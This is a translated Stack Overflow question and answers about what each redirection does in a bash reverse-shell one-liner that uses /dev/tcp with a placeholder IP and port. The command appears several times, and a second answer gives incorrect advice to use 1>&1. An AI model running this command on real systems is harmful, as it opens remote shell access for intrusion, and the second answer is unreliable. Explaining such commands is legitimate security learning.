首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >测试Bash反壳

测试Bash反壳
EN

Stack Overflow用户
提问于 2015-12-01 05:41:53
回答 2查看 1.1K关注 0票数 1

我正在使用教程找到的这里来测试一个反向shell。

对于使用的命令的含义,我有一些疑问。要在服务器上运行的命令如下:

代码语言:javascript
复制
/bin/bash > /dev/tcp/<IP>/<port> 0<&1 2>&1

我想再查一遍它的意思。根据我的理解:

  • 启动bash外壳
  • 将shell的输出重定向到TCP连接<IP>:<port>
  • 0<&1:将输入从连接&1重定向到stdin 0
  • 2>&1:将输出从stderr 2重定向到连接&1

以上内容正确吗?

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2015-12-01 05:45:33

是的,这是正确的;目标是让所有三个FDs -- stdin、stdout和stderr --指向您的TCP连接。

注意,这个命令需要在使用/dev/tcp编译的bash中运行,这是shell本身提供的一个可选特性,而不是操作系统;此外,这意味着类似于使用/bin/shsystem()之类的东西通常无法调用它。

票数 1
EN

Stack Overflow用户

发布于 2015-12-01 05:47:25

对于STDOUT,使用1>&1,因为2将重定向STDERR流。

所以您的命令应该是- /bin/bash > /dev/tcp/<IP>/<port> 0<&1 1>&1

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/34013412

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档